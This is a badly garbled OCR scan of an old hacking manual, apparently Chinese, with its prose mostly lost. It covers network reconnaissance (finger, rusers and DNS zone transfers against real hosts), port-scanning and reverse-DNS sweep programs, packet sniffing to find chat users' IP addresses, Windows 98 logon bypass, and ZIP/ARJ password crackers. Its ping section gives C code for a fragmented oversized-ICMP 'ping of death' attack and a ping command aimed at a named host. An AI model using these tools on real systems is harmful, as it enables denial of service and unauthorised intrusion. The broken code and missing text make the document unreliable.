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Ping TCP/IP

1.Ping
ping hostname

hostname Ping
C:> ping -f hostname

c:\windows\ping -1 65510 saddam_hussein's.computer.mil

Linux
#include <stdio.h>
#include <systypes.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*

PING

Windows 95

-1 65510

* |f your kernel doesn't muck with raw packets, #define REALLY _RAW.
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* Thisis probably only Linux.
*/

#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else

#define FIX(x)  (x)

#endif

int
main(int argc, char **argv)
{
ints
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent * hp;
struct sockaddr_in dst;
int offset;
inton=1;

bzero(buf, sizeof buf);
if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO _IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");

exit(1);

}

if (argc!=2){
fprintf(stderr, "usage: %s hostname\n”, argv[0]);
exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s addr = inet_addr(argv[1])) ==-1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);

} else{
bcopy(hp->h_addr_list[0], &ip->ip_dst.s addr, hp->h_length);

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v=4;
ip->ip_hl = sizeof *ip >> 2;
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ip->ip_tos=0;

ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip p=1,

ip->ip_sum=0; /* kernel fillsin*/
ip->ip_src.s addr =0; /* kernel fillsin*/

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all O'sis easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off [= FIX(IP_MF);
else
ip->ip_len=FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)& dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");

}
if (offset==10) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
2. Tracert
Tracert

DOS
C\WINDOWS>tracert 202.96.102.4

Tracing route to 202.96.102.4 over a maximum of 30 hops

1 84 ms 82 ms 95 ms 202.96.101.57
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2 100ms 100ms 95 ms Ofal.l-rtrl-a-hz1.zj.CN.NET [202.96.101.33]
3 95 ms 90ms 100ms 202.101.165.1

4 90 ms 90 ms 90 ms 202.107.197.98

5 95 ms 90 ms 99 ms 202.96.102.4

6 90 ms 9% ms 100ms 202.96.102.4

Trace complete.

"150 ms'

tracert Bl tracert

C:\WINDOWS>tracert 152.163.199.56
Tracing route to dns-aol ANS.NET [198.83.210.28]over a maximum of 30 hops:

1 124ms 106ms 105ms 202.96.101.57

2 95 ms 95 ms 90 ms Ofal.l-rtrl-a-hz1.zj.CN.NET [202.96.101.33]

3 100 ms 90Oms 100ms 202.101.165.1

4 90 ms 95 ms 95 ms 202.97.18.241

5 105ms 105ms 100ms 202.97.18.93

6 100 ms 9ms 100ms 202.97.10.37

7 135ms 98ms 100ms 202.97.9.78

8 760ms 725ms 768 ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53]

9 730ms 750ms 715ms gip-ftworth-4-serial8-3.gip.net [204.59.178.53]
10 750ms 785ms 772ms 144.232.11.9
11 740ms 800ms 735ms sl-bbll-pen-2-0.sprintlink.NET [144.232.8.158]
12 790ms 800ms 735ms d-nap2-pen-4-0-0.sprintlink.net [144.232.5.66]
13 770ms 800ms 800ms p219.t3.ans.net[192.157.69.13]
14 775ms 820ms 780 ms h14-1.t60-6.Reston.t3.ANS.NET [140.223.17.18]
15 780ms 800ms 800ms hll-1.t60-2.Reston.t3. ANS.NET [140.223.25.34]
16 790ms 795ms 800ms hl4-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18]
17 * h14-1.t104-0.Atlanta.t3.ANS.NET [140.223.65.18] reports. Destination host

unreachable.

10

Trace complete.

3.rusers  finger

Unix
rusers
gajake snark.wizard.com:ttypl Nov 1315:42 7:30 (remote)
root snark.wizard.com:ttyp2 Nov 13 14:57 7:21 (remote)
robo snark.wizard.com:ttyp3 Nov 1501:04 01 (remote)
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angel111 snark.wizard.com:ttyp4 Nov14 23:09 (remote)

pippen snark.wizard.com:ttyp6 Nov 14 15:05 (remote)
root snark.wizard.com:ttyp5 Nov 13 16:03 7:52 (remote)
gajake snark.wizard.com:ttyp7 Nov 14 20:20 2:59 (remote)
dafr snark.wizard.com:ttypl5Nov 3 20:09 4:55 (remote)
dafr snark.wizard.com:ttypl Nov 14 06:12  19:12 (remote)
dafr snark.wizard.com:ttypl9Nov 14 06:12  19:02 (remote)
SHELL
finger

user SO0 PPP ppp-122-pml.wiza Thu Nov 14 21:29:30 - still logged in
user S15 PPP ppp-119-pml.wiza Thu Nov 14 22:16:35 - still logged in
user S04 PPP ppp-121-pml.wiza Fri Nov 15 00:03:22 - till logged in
user SO3 PPP ppp-112-pml.wiza Thu Nov 14 22:20:23 - still logged in
user S26  PPP ppp-124-pml.wiza Fri Nov 15 01:26:49 - still logged in
user S25 PPP ppp-102-pml.wiza Thu Nov 14 23:18:00 - still logged in
user S17 PPP ppp-115-pml.wiza Thu Nov 14 07:45:00 - still logged in
user S-1 0.0.0.0 Sat Aug 10 15:50:03 - still logged in

user S23  PPP ppp-103-pml.wiza Fri Nov 15 00:13:53 - till logged in
user S12 PPP ppp-111-pml.wiza Wed Nov 13 16:58:12 - still logged in

/
fingerd

4 host
host Unix nslookup host
host buedu  host

host -1 -v -t any bu.edu

Found 1 addresses for BU.EDU
Found 1 addresses for RSO.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu 86400 IN SOA BU.EDU HOSTMASTER.BU.EDU(
961112121 ;serial (version)
900 ;refresh period
900 ;retry refresh this often
604800 ;expiration period

1
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86400 :minimum TTL

)

bu.edu 86400 IN
bu.edu 86400 IN
bu.edu 86400 IN
bu.edu 86400 IN

bu.edu 86400 IN

PPP-77-25.bu.edu
PPP-77-25.bu.edu
PPP-77-26.bu.edu
PPP-77-26.bu.edu
ODIE.bu.edu
ODIE.bu.edu
ODIE.bu.edu

STRAUSS.bu.edu
BURULLUS.bu.edu

NS SOFTWARE.BU.EDU
NS RS.INTERNIC.NET
NS NSEGC.BU.EDU

A 128.197.27.7

DNS WHOIS

HINFO SUN-SPARCSTATION-10/41 UNIX
86400 IN A 128.197.7.237
86400 IN HINFO PPP-HOST PPP-SW
86400 IN A 128.197.7.238
86400 IN HINFO PPP-HOST PPP-SW

86400 IN A 128.197.10.52
86400 IN MX 10 CS.BU.EDU
86400 IN HINFO DEC-ALPHA-3000/300L X OSF1

EDC Alpha OSF1
86400 IN HINFO PC-PENTIUM DOS/WINDOWS
86400 IN HINFO SUN-3/50 UNIX (Quch)

GEORGETOWN.bu.edu 86400 IN HINFO MACINTOSH MAC-0S

CHEEZW!IZ.bu.edu

POLLUX.bu.edu

UNIX
SFA109-PC201.bu.edu 86400 IN HINFO PC MS-DOS/WINDOWS
UH-PC002-CT.bu.edu 86400 IN HINFO PC-CLONE MS-DOS

12

SOFTWARE.bu.edu

CABMAC.bu.edu
VIDUAL.bu.edu

KIOSK-GB.bu.edu
CLARINET.bu.edu

DUNCAN.bu.edu

MILHOUSE.bu.edu

86400 IN HINFO SGI-INDIGO-2 UNIX
86400 IN HINFO SUN-4/20-SPARCSTATION-SLC

86400 IN HINFO SUN-SPARCSTATION-10/30 UNIX
86400 IN HINFO MACINTOSH MAC-0S
86400 IN HINFO SGI-INDY IRIX
86400 IN HINFO GATORBOX GATORWARE
86400 IN HINFO VISUAL-X-19-TURBO X-SERVER
86400 IN HINFO DEC-ALPHA-3000/400 OSF1
86400 IN HINFO VAXSTATION-I1/GPX UNIX

PSY 81-PC150.bu.edu 86400 IN HINFO PC WINDOWS-95

BUPHY C.bu.edu

86400 IN HINFO VAX-4000/300 OpenVMS
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221
TCP
222
TCP/IIP
FTP TELNET HTTPD ROOT nobady
223
TCP/IIP C, Pel SHELL
Socket /
1 TCPconnect()
TCP connect()
connect()
connect()
110
logs
2 TCPSYN
TCP
SYN
TCP TCP SYNJACK
RST SYNJACK

13
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RST
root
SYN
3 TCPFIN
SYN
FIN
RST FIN
FIN
RST Unix
4 |P
TCP
IP TCP
5 TCP ident
ident (rfc1413) TCP
http identd
root TCP
6 FTP
FTP proxy FTP
a.com target.com  FTP server-Pl( )
server-Pl server-DTP( ) Internet
User-DTP , RFC
FTP TCP
FTP FTP
PORT User DTP
LIST Server-DTP
150 226
"425 Can't build data connection: Connection refused." PORT
FTP

220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.

14

NT
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220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.

220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.

220 elios FTP server (SunOS 4.1) ready

220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.XX.xxxxX.EDU Version wu-2.4.2-academ[BETA-12] (1) Fri Feb 7

220 ftp Microsoft FTP Service (Version 3.0).

220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

7UDPICMP
UDP
UDP
ICMP_PORT_UNREACH
UDP ICMP
RFC ICMP
root

8 UDPrecvfrom() write()

root Linux

write() UDP
recvfrom() ICMP EAGAIN- ICMP
ECONNREFUSED-
9 ICMPecho
ping
2 3
TCP connect()

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>

int main(int argc, char **argv)

15
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16

int probeport = 0;
struct hostent * host;
int err, i, net;

struct sockaddr_in sa;

if (argc!=2){
printf(" : %s hostname\n”, argv[0]);
exit(1);

}

for(i=1;i<1024;i++) { /I
strncpy((char *)&sa, ", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s addr = inet_addr(argv[1]);
eseif ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)& sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
ese{
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net <0){
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) & sa, sizeof sa);
if (err<0){
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else{
printf("%s %-5d accepted. \n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf(" \r');
fflush(stdout);
return (0);
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#include <stdio.h>

#include <systypes.h>
#include <sys/socket.h>
#include "netdb.h"

struct hostent * gethostbyaddr();
void bad_addr();

main(argc, argv)

int argc;
char *argv(];
{
char addr[4];
int i,
a0, al, a2, a3,
o}
classB, classC, single, hex;
char *fmt = "%d.%d.%d";
char **ptr;
struct hostent  *host;
extern char *optarg;

classB = classC = single= hex = 0;
while((c = getopt(argc,argv,"besx")) = EOF) {

switch(c) {
case'b":
classB++;
break;
case'c:
classC++;
break;
case's:
singlet++;
break;
case ‘X"
hex++;
break;
}

}

if(classB == 0 && classC==0&& single==0) {
fprintf(stderr, "usage: %s [-b||-C||-s] [-X] XXX.XXX[.XXX[.xxX]]\n", argv[0]);
exit(1);

}

if(classB)
if(hex) {

17
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fmt = "%x.%x";
sscanf(argv[ 3], fmt, &a0, &al);
} else{
fmt = "%d.%d";
sscanf(argv[2], fmt, &a0, &al);
}
elseif(classC)
if (hex) {
fmt = "%x.%Xx.%X";
sscanf(argv[ 3], fmt, &a0, &al, &a2);
} else{
fmt = "%0d.%d.%d";
sscanf(argv[2], fmt, &a0, &al, &a2);
}
eseif(single)
if (hex) {
fmt = "%x.%Xx.%X.%X";
sscanf(argv[ 3], fmt, &a0, &al, &a2, &a3);
} else{
fmt = "%d.%d.%d.%d";
sscanf(argv[2], fmt, &a0, &al, &a2, &a3);
}
sscanf(argv[1], fmt, &a0, &al, &a2);
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)al;
if (a0>255||a0<0)
bad_addr(a0);
if(al>255||a1<0)
bad_addr(al);
if(classB) {
if (hex)
printf(" Converting address from hex. (%x.%x)\n", a0, al);
printf(" Scanning Class B network %d.%d...\n", a0, al);
while(j!=256) {
a2=j;
addr[2] = (unsigned char)a2;
jmpC:
if(classC)
if (hex)
printf("Converting address from hex. (%x.%x.%x)\n",
a0, al, a2);
printf(" Scanning Class C network %d.%d.%d...\n", a0, al, a2);
while(i!'=256) {
as3=i;

18
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addr[3] = (unsigned char)a3;
jmpS:

if ((host = gethostbyaddr(addr, 4, AF_INET)) '= NULL) {

printf("%d.%d.%d.%d => %s\n", a0, al, a2, a3,
host->h_name);
ptr = host->h_aliases;
while (*ptr '= NULL) {
printf("%d.%d.%d.%d => %s (alias)\n", a0,

al, a2, a3, *ptr);
ptr++;
}
}
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
j++
}
} elseif(classC) {

addr[2] = (unsigned char)az;
if (a2>255||a2<0)
bad_addr(a2);
goto jmpC;
} eseif(single) {

addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if (a2>255||a2<0)

bad_addr(a2);
if (@3>255||a3<0)
bad_addr(a3);
goto jmpS;
}
exit(0);
}
void
bad_addr(addr)
int *addr;
{
printf("Vaue %d is not valid.\n", addr);
exit(0);
}
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IP Hacker——
IP Hacker
) IPOHacker |
3. 1 IP Hacker
IP Hacker WINDOWS ; ; iphacker.EXE
, ( 3-1), . N IP

Windws 95/97 “
) : w95w525etup exeo

W W SNEE: WHE
;:EE'E- IP Hacker V1.2 2000. 06 02
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b Tools s
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3. 2 IP Hacker

3. 2. 1 IP Hacker Tools

1. =>IP; ( 3-2)
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WInNT Server Pack
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5.  Windows NT 3.51/4.0 FTP ( 3-10)
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= a3 i T
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o FIP
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% w1 RN, HESENR ERFRITEE
3 YinAT REHE: FHERES RS chE
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Windows NT 3.51/4.0
WEB o WIinNT

Patch

3. 3 IP Hacker

IP Hacker )
Windows98 )
Windows98 )
Windows 95 Windows NT,
Windows NT,

QDN ; (2D,
N “Win95/98/NT”

IPHacker 0
CTRL+ALT+DEL

b

Hacker 0

FTP Server 0 : N
FTP o
: up98.exe;
: up98.exe;
: antinuke.exe;
Server Pack3 0
y “ !”0
TCP/IP o
3 )
o , IP Hacker
) ) ) IP
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IP —Sec

IPSec o ( / IP
N . CRC ), . P,
POP/WWW o
( ) . IPv6  IPSec for Linux )
Windows 9x/NT. Solaris UNIX IPSec o
IPSec ) IPSec o ) Linux
IPSec. Linux IPSec
http://www.xs4all.nl/~freewan/ . ¢ 2210 ) {usr/src/linux,
N ) o IPSec o
IPSec for Linux Jusr/local/src , "make menugo",
" o IPSec o

cd /usr/local/src/
tar zvxf /path/to/tarball/snapshot.tar.gz
chown R root:root freeswan-snap1999Junl14b
cd freeswan-snap1999Junl4b
make menugo
o ) "make zlmage"
o "make bzlmage"
cd /usr/src/linux
make bzlmage
cp /usr/src/linux/arch/i386/boot/bzimage boot/vmlinuz-2.2.10-ipsec
LILO lilo.conf, lilo o

lilo.conf
boot=/dev/had
map=/boot/map
install=/boot/boot.b
prompt
timeout=100
image=/boot/vmlinuz-2.2.10-ipsec
label=linux-ipsec
root=/dev/hdal
read-only
image=/boot/vmlinuz-2.2.10
label=linux
root=/dev/hdal
read-only

lilo,
linux-ipsec *
linux
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IPSec 2.2.10 o )
IPSec eth999 . ipsec
- IPSec o ) TCP-IP o
Red Hat Linux :
FORWARD _IPV4="false" FORWARD_IPV4="yes" o
/proc ;
cat 1 > /proc/sys/net/ipv4/ip_forward

o ; IPSec
(masquerade) IPSec , (masquerade)
) IPSec.
IP masquerading IPSec

( ) (Manual connection keying) , (

) , ipsec.conf . ipsec.conf

conn sample

type=tunnel

left=

leftnexthop=

leftsubnet=

right=

rightnexthop=

rightsubnet=

spibase=0x200

esp=3des-md5-96

espenckey=

espauthkey=

conn my-tunnel
type=tunnel
left=1.2.3.4
leftnexthop=1.2.3.1
leftsubnet=10.0.0.0/24
right=5.6.7.8
rightnexthop=5.6.7.1
rightsubnet=192.168.0.0/24
spibase=0x200
esp=3des-md5-96
espenckey=some_auth_key here (ranbits 192)
espauthkey=some_other_key here (ranbits 128)
) ipsec.donf  ipsec.secrets o
; ; (masquerade)
1.2.34
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ipchains -A forward -p all -j ACCEPT -s 10.0.0.0/24 -d 192.168.0.0/24
ipchains -A forward -p all -j ACCEPT -s 192.168.0.0/24 -d 10.0.0.0/24
; (masquerade) ;
#
# FORWARD RULES
#
ipchains -P forward DENY
#
ipchains -A forward -p all -j ACCEPT -s 10.0.0.0/24 -d 192.168.0.0/24
ipchains -A forward -p all -j ACCEPT -s 192.168.0.0/24 -d 10.0.0.0/24
ipchains -A forward -p all -j MASQ -s 10.0.0.0/24 -d 0.0.0.0/0
5.6.7.8 :
ipchains -A forward -p all -j ACCEPT -s 192.168.0.0/24 -d 10.0.0.0/24
ipchains -A forward -p all -j ACCEPT -s 10.0.0.0/24 -d 192.168.0.0/24
; (masquerade) ;
#
# FORWARD RULES
#
ipchains -P forward DENY
#
ipchains -A forward -p all -j ACCEPT -s 192.168.0.0/24 -d 10.0.0.0/24
ipchains -A forward -p all -j ACCEPT -s 10.0.0.0/24 -d 192.168.0.0/24
ipchains -A forward -p all -j MASQ -s 192.168.0.0/24 -d 0.0.0.0/0
ipsec , A B .
ipsec manual -up my-tunnel

{usr/local/lib/ipsec/spi: message size is 36
{usr/local/lib/ipsec/spi: message size is 132
{usr/local/lib/ipsec/spi: message size is 132

10.0.0.2  ping 192.168.0.2, ping o )
1234 56.7.8 ) TCP-IP )
o ( ) )

(automative keying).
(Automatic connection keying)

, ( ) o
256 , ,
o , 8
: ipsec.secrets
o 1234 56.7.8
1.234 5.6.7.8
"Oxa3afb7e6_20f10d66_03760efl_9019c643_a73c7ce0_91e46e84 ef6281b9 812392bf"
ipsec.secrets . ipsec.conf
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conn my-tunnel
type=tunnel
left=1.2.3.4
leftnexthop=1.2.3.1
leftsubnet=10.0.0.0/24
right=5.6.7.8
rightnexthop=5.6.7.1
rightsubnet=192.168.0.0/24
keyexchange=ike
keylife=8h
keyingtries=0
pluto o pluto o
) pluto 500/UDP, "o

ipchains -A input -p udp -j ACCEPT -5 0.0.0.0/0 -i ethO -d 0.0.0.0/0 500
"%search” °

auto=start
ipsec.secrets
plutoload=%search
plutostart=%search
, Ivar/log/messages

Jun 26 02:10:41 server ipsec_setup: Starting FreeS/\NAN IPSEC...

Jun 26 02:10:41 server ipsec_setup: /usr/local/lib/ipsec/spi: message size is 28.

Jun 26 02:10:41 server ipsec_setup: KLIPS debug “none'

Jun 26 02:10:41 server ipsec_setup: KLIPS ipsecO on ethO 1.2.3.4/255.255.255.0 broadcast
24.108.11.255 Jun 26 02:10:42 server ipsec_setup: Disabling core dumps:

Jun 26 02:10:42 server ipsec_setup: Starting Pluto (debug “none"):

Jun 26 02:10:43 server ipsec_setup: Loading Pluto database “my-tunnel':

Jun 26 02:10:44 server ipsec_setup: Enabling Pluto negotiation:

Jun 26 02:10:44 server ipsec_setup: Routing for Pluto conns “my-tunnel":

Jun 26 02:10:45 server ipsec_setup: Initiating Pluto tunnel “my-tunnel":

Jun 26 02:10:45 server ipsec_setup: 102 "my-tunnel" #1: STATE_MAIN_I1: initiate

Jun 26 02:10:45 server ipsec_setup: 104 "my-tunnel" #1: STATE_MAIN_I2: from
STATE_MAIN_I1; sent MI2, expecting MR2

Jun 26 02:10:45 server ipsec_setup: 106 "my-tunnel" #1: STATE_MAIN_I3: from
STATE_MAIN_I2; sent MI3, expecting MR3

Jun 26 02:10:45 server ipsec_setup: 003 "my-tunnel” #1: STATE_MAIN_I4: SA established

Jun 26 02:10:45 server ipsec_setup: 110 "my-tunnel” #2: STATE_QUICK _I1: initiate

Jun 26 02:10:45 server ipsec_setup: 003 "my-tunnel” #2: STATE_QUICK _I2: SA established
Jun 26 02:10:46 server ipsec_setup: ...FreeS/WAN IPSEC started

Ivar/log/secure
Jun 26 02:10:42 server Pluto[25157]: Starting Pluto (FreeS/WAN Version snap1999Juni4b)
Jun 26 02:10:44 server Pluto[25157]: added connection description "my-tunnel"
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Jun 26 02:10:44 server Pluto[25157]: listening for IKE messages
Jun 26 02:10:44 server Pluto[25157]: adding interface ipsecO/eth0 1.2.3.4Jun 26 02:10:44

server Pluto[25157]: loading secrets from "/etc/ipsec.secrets"

Jun 26 02:10:45 server Pluto[25157]: "my-tunnel” #1: initiating Main Mode
Jun 26 02:10:45 server Pluto[25157]: "my-tunnel” #1: ISAKMP SA established
Jun 26 02:10:45 server Pluto[25157]: "grumpy-seifried” #2: initiating Quick Mode

POLICY_ENCRYPT+POLICY_TUNNEL+POLICY_PFS

30

Jun 26 02:10:45 server Pluto[25157]: "my-tunnel” #2: sent QI2, IPsec SA established
Jun 26 02:11:12 server Pluto[25157]: "my-tunnel" #3: responding to Main Mode
Jun 26 02:11:12 server Pluto[25157]: "my-tunnel” #3: sent MR3, ISAKMP SA established
Jun 26 02:11:12 server Pluto[25157]: "my-tunnel" #4: responding to Quick Mode
Jun 26 02:11:12 server Pluto[25157]: "my-tunnel” #4: IPsec SA established
Jun 26 02:31:31 server Pluto[25157]: "my-tunnel” #5: responding to Main Mode
Jun 26 02:31:32 server Pluto[25157]: "my-tunnel” #5: sent MR3, ISAKMP SA established
Jun 26 02:31:32 server Pluto[25157]: "my-tunnel” #6: responding to Quick Mode
Jun 26 02:31:32 server Pluto[25157]: "my-tunnel" #6: IPsec SA established
"eroute” :

10.0.0.0/24 -> 192.168.0.0/24 => tun0x114@1.2.3.4

"route"
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
1.2.3.4 0.0.0.0 255.255.255.255 UH 0 0 0 ethO
10.0.0.1 0.0.0.0 255.255.255.255 UH 0 0 0 eth
11.2.3.0 0.0.0.0 255.255.255.0 U 0 0 0 ethO
1.2.3.0 0.0.0.0 255.255.255.0 U 0 0 0 ipsecO
192.168.0.0 1.2.3.1 255.255.255.0 UG 0 0 0 ipsecO
10.0.0.0 0.0.0.0 255.255.255.0 U 00 0
eth1127.0.0.0 0.0.0.0 255.0.0.0U 000
100.0.0.0 1.2.3.1 0.0.0.0 UG 0 0 0 eth0
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NetXRay

o Netxray )
5. 1 NetXRay
NetXRay Cinco Networks o
o NetXRay ) ,
o NetXRay ) )
- NetXRay )
NetXRay ) .
NetXRay 0
5. 2 NetXRay
NetXRay, tools host table )
( 5-1).
sl Takle 7 L = |C1| ®
m Tap 10 Hoste By Taltal Ei:.-::'r:l=i
T REL o
Vii
> !
I
!
-
i
e L
5-1 ( Internet
IP), )
. 192.168.0.6
IP, 216.217.111.8 ( ) ICMP .

202.102.29.164 ,
NetBIOS

°
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OICQ P,
IP. 5-1 )
P, P ! ) IP ? ,
other http ICMP DNS IP
other ) | SR : !
OICQ IP: tools capture
( 5-2), capture start ( 5-1 )
. ? capture End And View (
5-1 ) , 5 ,
“Matrix” ( 5-3)! : IP .

(T =
o w4 | [Dosn <]

{ B>
2468 100 [l tcp
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=18 x|
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e
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Netxray Dashboard ( 5-4), )
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’ ; Detail
Dashboard ) o
¢ 5-5), General . Ask Save For
Decode . Update
Frequency , ( )
5—6
Threshold ( 5-6):
, . Name ,
) ) o high Threshold
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) . Alarm ¢ 5-7):
, . Define Severity )
. Define Actions (
o Define Actions ( 5-8) , Add (
5-9) . , , . NetXRay
) o ; ) SMTP
o NetXRay
. y ( 5-10) ; )
( , ),

°
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Protocols , ( 5-11) : TCP
NetXRay , .
o FTP 21, 21
FTP TCP ) UNIX  NT
NetXRay )
Portl
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Workspace °
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oon
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Checkzus . JxBI10
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a| I -
DOODO0D0: &8 54 00 00 16 == 00 B0 o db dd &5 0B 00 45 00
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LN

T &
=

e 0]
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. 0OICQ , 8000  4000.
1 o
1 IP TCP )
) ASCII .
) ASCII .
. . 0ICQ ? o 0OICQ
. NetXRay oICQ ) oICcQ
( 5-13), NetXRay i )
Inetrnet IP o 5-13
. K
o NetXRay olcQ IP o )
IP o )
) (
o IP o
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192.168.0.6, , Any
0 Dir,

, ; 192.168.0.6 )
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°
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1w 1 .34
O

HAL SupsErvis

AMI  AWARD

BIOS

=10 x|

2 SYSTEM
CMOS
8 2 Windows
1 Windows
Windows 98
Windows
8-3 Profiles
Windows 98
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Windows 98
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Network Logon UserProfiles “ 0 8-4 Windows 98
&0 C: \WINDOWS - 0] x|
| -= -3 2 o ?
| Btk (@) [ o rwmons ~| w3
ShellTcon... SUjINK{BIYE sIoVERTF EXE —
HRlegs TP D R0 v
g i TeREas =10 x|
it R mIBE) EF W U E #FRW
=) MEEY_LOCAL MACHTHE o | [ 57 | BE
D Config EALAD R EEE)
- Driver (28] LMLo gon 00 00 00 00
-] Enum [B¥]MustBevalidated 0200000000 ()
D Har dware Primar}'Pr-:-vi der "Microzsoft Hetwork”
EID Hetworlk usern:ame “ShmilyChen”
A Logon WzerProfiles ok

d

-2 SOFTHARE
M T e o

o

d

|¥EE{| B AR HEEY LOCAL MACHIHE\HetworkiLogon

&

2

reset
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o ilil
wE  RFEAPEF A0 | #BR v | BB |
- RE{RIFER ©)
|#inmel B3 #ED.. | #WEw |
CEMEEEr Buc | ssw: [ s
~ BSATBRATT ARARAT (B)
M BE RE” , AR TENEEEE.
= #EE |
W B | mAw |
3
Windows98
Windows 98 Windows 98

8-6
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HIFEE Bt

miEERrE B |HE |

1@% R

2l xi

~1ET
SREASE LETER O
I e BHE T SRRl ik A )
— EETEE
TR Tt E A EERTE AT (E):
| 7 HeEiR =
T i MR |
Windows 98
8 3
1 WinZip
ZIP ZIP
UZPC UltraZip Password Cracker UzPC 8-7
“ Task” “ New” “ "
ZIP UZPC “ Preferences’ 8-8
“ Archive Files’ ZIP wWinZip
ZIP ZIP
ZIP
ZIP ZIP
UZPC ZIP
“ Archive Files” ZIP
“ Brute Force”
“ Dictionary-based” “ Template” “ Plaintext” 4
“ Brute Force” “ Next”
“ Brute Force Attack Parameter” 8-9
1] GOH
8-10
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UZPC UZPC

Save’
UzpPC “ Open’

UZPC 8-11

Ntra Zip Fassword Cracker +3. B01 - unregistarad - IDIEI

Taszk Edit Options Help

Statuz I Mo tazk, Current pagswaord I nta FPaszword length I -
E ztimated time I hta Average pps I h'a

|L|ZF'E [2] 1998-1999 [van Gaolubesy

— Archive files — Files to attack

k|

Add Bemove |

V¥ Allfilzs have same pazswornd

— &ittack type
* Brute force

" Dictionan-bazed
" Template
£ Plaintest

Cancel I Hext I
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Brute forece attack parameters EI

— Paszword charset

[~ Capital letters

[T Small letters

™| Foreign capital letters
I™ | Foreign small letters
[T Special chars

[T User defined

— Paszword length

k irirnLar I'I 3:
I axirnLnn |5 5:
— Stark with

Tatal: 111110

Brevious I Go I

Mtra Zip Password Cracker 3. B01 - unrezistered _IDIEI

Taslk Edit Options Help

Paszward Iengthl? |
Average pps|193?8?ﬂ .

Archive I E:ADownloadspicture.zip | Pazswaord I 1111111

File #1 Ipicture;"iia.zip File: $#2 Ipin::turex'a'l zip

|L|ZF'E [=] 1998-1939 |van Galubey

ZIP ——Zip Key
http://www.l ostpassword.com Wzipkeyd Password recovery for WinZIP
ZIP WinZip PKZip ZIP
ZIP WinZip Key
ZIP WinZip Key
8-12

[Task Edit Option
Hew
Open
Save
Save as ...

Stop

ret into

Exit
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""J__Elp Key — Password Recowery for ZIF archiwes il tRiE ¥ l
Dirag zipile ta thiz dialog box :I Help | :I @5‘%—

to recover the paszwond.

Current settings: Cloze | %

Sembol zef: abcdefghijkmnopgrstuyweyz01 23456789 P .
Fazzwiord length [1-7]

ap. ipg

Thiz iz a demo werzion that will recover pagzwords that are not longer
than 3 characters. Flease visit http:/ A lostpazsword. com For updated
demo versions and detailz on purchazsing full versian.

- Browse. . . Ctrl+0
LI _>|_| Settings. ..
FERIEE R Order Dnline. ..

¥i=it Home Fage. ..

Product Hews. ..

Send Feedback. ..

About. ..
Help F1
2 ARJ
ARJ ARJ AAPR
Advanced ARJ Password Recovery ARJ AAPR
8-14 “ ARJ Password-encrypted File” ARJ
ARJ “ Brute-Force Range Options’
“ Start”
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B sark ME 2.0 - ikt =101 =]

Advanced ARJ Password Recovery
= | = " B0 &

A i = FiE| ik MERE WS FH R

IO AR 45 B A
m % Brute-force "
| = - |~ wE ol e
B | RE | ¥es | #xF | agrE &9 |
— 1% 0
i FEAT 1% 0K F
v &2 5 @ E%
VLT : B 1% it
v BB TAF _
v BHZRE asprlog BR&RE: [AiET ]
HiTEEEHER IEIZIEI s
t*EEE
2000-01-01 12:33:43 - AAPR werzion 2.00 build 172 launched, unregiztered version, d
zome features dizabled
2000-01-01 12:33:47 - Loading language file for THEF 3 J
B &if i 60 - T R
bR it - it F1E] F -
EET

1A
